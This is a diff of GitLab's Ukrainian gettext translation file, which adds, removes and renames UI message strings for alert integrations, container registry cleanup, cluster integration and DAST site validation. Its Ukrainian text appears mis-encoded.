+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2911,6 +3035,9 @@ msgstr "Дозволити публічний доÑтуп до конвеєрі
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "Дозволити Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ Ð´Ñ–Ð°Ð³Ñ€Ð°Ð¼ PlantUML в документах Asciidoc."
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr "Дозволити керівниками проєктів налаштовувати Ð²Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð½Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ñ–Ñ—Ð²"
@@ -3028,9 +3155,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "ТрапилаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3151,9 +3275,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð°Ð´Ñ€ÐµÑи Служби підтримки."
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Помилка при отриманні ÑпиÑків дошки. Будь лаÑка, Ñпробуйте знову."
@@ -3187,18 +3308,21 @@ msgstr "Помилка при отриманні цієї вкладки."
msgid "An error occurred while generating a username. Please try again."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при Ñтворенні імені кориÑтувача. Будь лаÑка, Ñпробуйте знову."
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні файлів Ð´Ð»Ñ - %{branchId}"
msgid "An error occurred while getting projects"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні проєктів"
-msgid "An error occurred while importing project: %{details}"
-msgstr "При імпортуванні проєкту ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°: %{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "Помилка при ініціалізації Ð±Ð»Ð¾ÐºÑƒÐ²Ð°Ð½Ð½Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð²Ð¸Ñ… шлÑхів"
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr "Помилка при завантаженні вÑÑ–Ñ… файлів."
@@ -3253,6 +3377,9 @@ msgstr "Помилка при завантаженні даних верÑÑ–Ñ— Ð
msgid "An error occurred while loading the merge request."
msgstr "Помилка при завантаженні запиту на злиттÑ."
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr "Помилка при завантаженні завдань конвеєра."
@@ -3280,9 +3407,6 @@ msgstr "Помилка при попередньому переглÑді ого
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr "Помилка при зміні порÑдку задач."
@@ -3313,6 +3437,9 @@ msgstr "Помилка при підпиÑці на ÑповіщеннÑ."
msgid "An error occurred while triggering the job."
msgstr "Помилка при запуÑку завданнÑ."
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr "Помилка при запуÑку нового конвеєру Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ Запиту на злиттÑ."
@@ -3331,6 +3458,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "Помилка при перевірці шлÑху групи"
@@ -3517,6 +3647,12 @@ msgstr "ЗаÑтоÑувати зміни"
msgid "Apply suggestion"
msgstr "ЗаÑтоÑувати пропозицію"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr "ЗаÑтоÑувати пропозиції"
@@ -3587,6 +3723,9 @@ msgstr[1] "Потрібно %{count} Ð·Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð²Ñ–Ð´ %{membersCo
msgstr[2] "Потрібно %{count} затверджень від %{membersCount}"
msgstr[3] "Потрібно %{count} затверджень від %{membersCount}"
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr "Затверджуючі оÑоби"
@@ -3668,6 +3807,9 @@ msgstr ""
msgid "Archived"
msgstr "Заархівовано"
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3719,9 +3861,6 @@ msgstr "Ви дійÑно бажаєте видалити цю дошку?"
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Ви впевнені, що хочете видалити цей приÑтрій? Цю дію неможливо ÑкаÑувати."
-msgid "Are you sure you want to delete this list?"
-msgstr "Ви впевнені у тому, що хочете видалити цей ÑпиÑок?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Ви впевнені, що хочете видалити цей розклад Ð´Ð»Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ð°?"
@@ -3774,6 +3913,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr "Ви впевнені, що хочете видалити цю ідентифікацію?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "Ви впевнені, що бажаєте перегенерувати реєÑтраційний токен?"
@@ -4052,6 +4194,12 @@ msgstr "Ðвтентифікувати"
msgid "Authenticate with GitHub"
msgstr "Ðвтентифікувати за допомогою GitHub"
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr "ÐвтентифікаціÑ"
@@ -4172,6 +4320,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4460,12 +4611,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr "Підвищити"
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4490,6 +4647,13 @@ msgstr ""
msgid "Blocked"
msgstr "Заблокований"
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Blocked issue"
msgstr "Заблокована задача"
@@ -4541,6 +4705,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4728,7 +4895,7 @@ msgid "Broadcast Message was successfully updated."
msgstr "ÐžÐ³Ð¾Ð»Ð¾ÑˆÐµÐ½Ð½Ñ ÑƒÑпішно оновлено."
msgid "Broadcast Messages"
-msgstr ""
+msgstr "ПовідомленнÑ"
msgid "Browse Directory"
msgstr "ПереглÑнути каталог"
@@ -4799,9 +4966,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr "Від %{user_name}"
-msgid "By URL"
-msgstr "За URL-адреÑою"
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4829,6 +4993,9 @@ msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ CI/CD"
msgid "CI Lint"
msgstr "Перевірка CI конфігурації"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ CI"
@@ -4925,6 +5092,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4952,6 +5122,12 @@ msgstr "Canary"
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr "Canary Deployments — це популÑрна ÑÑ‚Ñ€Ð°Ñ‚ÐµÐ³Ñ–Ñ Ð±ÐµÐ·Ð¿ÐµÑ€ÐµÑ€Ð²Ð½Ð¾Ñ— інтеграції, коли нова верÑÑ–Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ заÑтоÑунку вÑтановлюєтьÑÑ Ð½Ð° невелику кількіÑÑ‚ÑŒ машин."
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "СкаÑувати"
@@ -4985,9 +5161,6 @@ msgstr "Ðеможливо Ñтворити звіт про зловживанн
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5129,6 +5302,9 @@ msgstr "Зміни"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5147,9 +5323,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr "Зміни не будуть заÑтоÑовані, поки Ñ–Ð½Ð´ÐµÐºÑ Ð½Ðµ буде %{link_start}перегенерований%{link_end}."
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr "Зміна тегу релізу підтримуєтьÑÑ Ð»Ð¸ÑˆÐµ через Releases API. %{linkStart}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ%{linkEnd}"
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5216,6 +5389,9 @@ msgstr "Перевірити знову"
msgid "Check feature availability on namespace plan"
msgstr "Перевірити наÑвніÑÑ‚ÑŒ функціональноÑÑ‚Ñ– в плані Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñтору імен"
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "ПереглÑньте %{docs_link_start}документацію%{docs_link_end}."
@@ -5402,12 +5578,6 @@ msgstr "Дочірній епік не Ñ–Ñнує."
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "Виберіть гілку чи тег (напр. %{master}) або введіть коміт (напр. %{sha}) Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду змін або Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на злиттÑ."
@@ -5441,6 +5611,9 @@ msgstr "Виберіть файл…"
msgid "Choose labels"
msgstr "Оберіть мітки"
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Оберіть групу найвищого Ñ€Ñ–Ð²Ð½Ñ Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚Ñƒ репозиторіїв."
@@ -5609,7 +5782,7 @@ msgstr "Мітка клаÑифікації (необов'Ñзково)"
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "не доÑтупно: %{reason}"
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5651,10 +5824,10 @@ msgstr "Вагу очищено."
msgid "Clears weight."
msgstr "Очищає вагу."
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5702,7 +5875,7 @@ msgstr "Клонувати з SSH"
msgid "Close"
msgstr "Закрити"
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5711,9 +5884,6 @@ msgstr "Закрити %{tabname}"
msgid "Close epic"
msgstr "Закрити епік"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "Закрити етап"
@@ -5804,6 +5974,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} були уÑпішно вÑтановлені на ваш Kubernetes-клаÑтер"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5912,6 +6085,9 @@ msgstr "Режим блокуваннÑ"
msgid "ClusterIntegration|CA Certificate"
msgstr "Сертифікат центру Ñертифікації"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr "Cert-Manager"
@@ -6170,9 +6346,6 @@ msgstr "КлаÑтер групи"
msgid "ClusterIntegration|HTTP Error"
msgstr "Помилка HTTP"
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6275,6 +6448,9 @@ msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про групові клаÑтери
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "ДізнайтеÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ про клаÑтери Kubernetes інÑтанÑу"
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ€Ð¾Ð»ÐµÐ¹ IAM"
@@ -6608,8 +6784,8 @@ msgstr "URL-адреÑа, що викориÑтовуєтьÑÑ Ð´Ð»Ñ Ð´Ð¾ÑÑ‚Ñ
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr "Пов’Ñзана IP-адреÑа та вÑÑ– розгорнуті ÑервіÑи будуть видалені без можливоÑÑ‚Ñ– відновленнÑ. Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Knative також видалить Istio із вашого клаÑтера. Це не вплине на інші заÑтоÑунки."
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
-msgstr "Пов’Ñзаний pod Tiller, проÑÑ‚Ñ–Ñ€ імен %{gitlabManagedAppsNamespace} та вÑÑ– їхні реÑурÑи будуть видалені Ñ– не зможуть бути відновлені."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
+msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
msgstr "Пов’Ñзані баланÑувальник Ð½Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ‚Ð° IP-адреÑа будуть видалені Ñ– не зможуть бути відновлені."
@@ -6951,6 +7127,9 @@ msgstr "Коміт (при редагуванні Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð
msgid "Commit Message"
msgstr "ÐŸÐ¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñƒ"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr "Коміт видалено"
@@ -7074,9 +7253,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7248,6 +7424,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr "ЗвернітьÑÑ Ð´Ð¾ відділу продажів Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÑ…Ð¾Ð´Ñƒ на вищий тарифний план"
@@ -7272,7 +7451,7 @@ msgstr "РеєÑÑ‚Ñ€ контейнерів не включений у даниÐ
msgid "Container repositories"
msgstr "Репозиторії контейнерів"
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7304,6 +7483,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr "Створити образ"
@@ -7379,6 +7561,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr "Увійти"
@@ -7388,6 +7579,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr "Ðе виÑтачає прав доÑтупу, кнопка Ð²Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ð²Ð¸Ð¼ÐºÐ½ÐµÐ½Ð°"
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr "КількіÑÑ‚ÑŒ тегів Ð´Ð»Ñ Ð·Ð±ÐµÑ€ÐµÐ¶ÐµÐ½Ð½Ñ:"
@@ -7413,7 +7613,16 @@ msgstr[1] "Видалити теги"
msgstr[2] "Видалити тегів"
msgstr[3] "Видалити тегів"
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7422,6 +7631,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr "ЩоÑÑŒ пішло не так при отриманні ÑпиÑку репозиторіїв."
@@ -7443,21 +7655,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr "Ðа жаль, немає результатів, Ñкі відповідають фільтру."
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr "Політика Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ñ‚ÐµÑ€Ð¼Ñ–Ð½Ñƒ дії тегу"
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8039,7 +8260,7 @@ msgid "Created branch '%{branch_name}' and a merge request to resolve this issue
msgstr "Створено гілку \"%{branch_name}\" та запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð´Ð»Ñ Ð²Ð¸Ñ€Ñ–ÑˆÐµÐ½Ð½Ñ Ñ†Ñ–Ñ”Ñ— задачі."
msgid "Created by %{job}"
-msgstr ""
+msgstr "Створено %{job}"
msgid "Created by me"
msgstr "Створено мною"
@@ -8066,7 +8287,7 @@ msgid "Created on"
msgstr "Створений"
msgid "Created on %{created_at}"
-msgstr ""
+msgstr "Створено %{created_at}"
msgid "Created on:"
msgstr "Створено:"
@@ -8248,9 +8469,6 @@ msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð»ÑŒÐ¾Ñ€Ñ–Ð²"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr "Ðалаштуйте, Ñк адреÑи електронної пошти та імена кориÑтувачів FogBugz імпортуютьÑÑ Ð² GitLab. Ðа наÑтупному кроці ви зможете вибрати проєкти, Ñкі потрібно імпортувати."
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr "Ðалаштуйте, Ñк адреÑи електронної пошти та імена кориÑтувачів Google Code імпортуютьÑÑ Ð² GitLab. Ðа наÑтупному кроці ви зможете вибрати проєкти, Ñкі потрібно імпортувати."
-
msgid "Customize icon"
msgstr "Ðалаштувати значок"
@@ -8311,6 +8529,9 @@ msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð·Ð°ÐºÑ€Ð¸Ñ‚Ð¾"
msgid "CycleAnalyticsEvent|Merge request created"
msgstr "Запит на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ñтворино"
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr "Перший запит на злиттÑ, розгорутий на production"
@@ -8438,9 +8659,6 @@ msgstr "випадаючий ÑпиÑок проєктів"
msgid "CycleAnalytics|stage dropdown"
msgstr "Випадаючий ÑпиÑок Ñтадій"
-msgid "DAG"
-msgstr "DAG"
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8489,7 +8707,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8516,9 +8737,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8540,15 +8758,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8582,9 +8800,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr "ПаÑивний"
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8618,64 +8845,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validating..."
msgstr ""
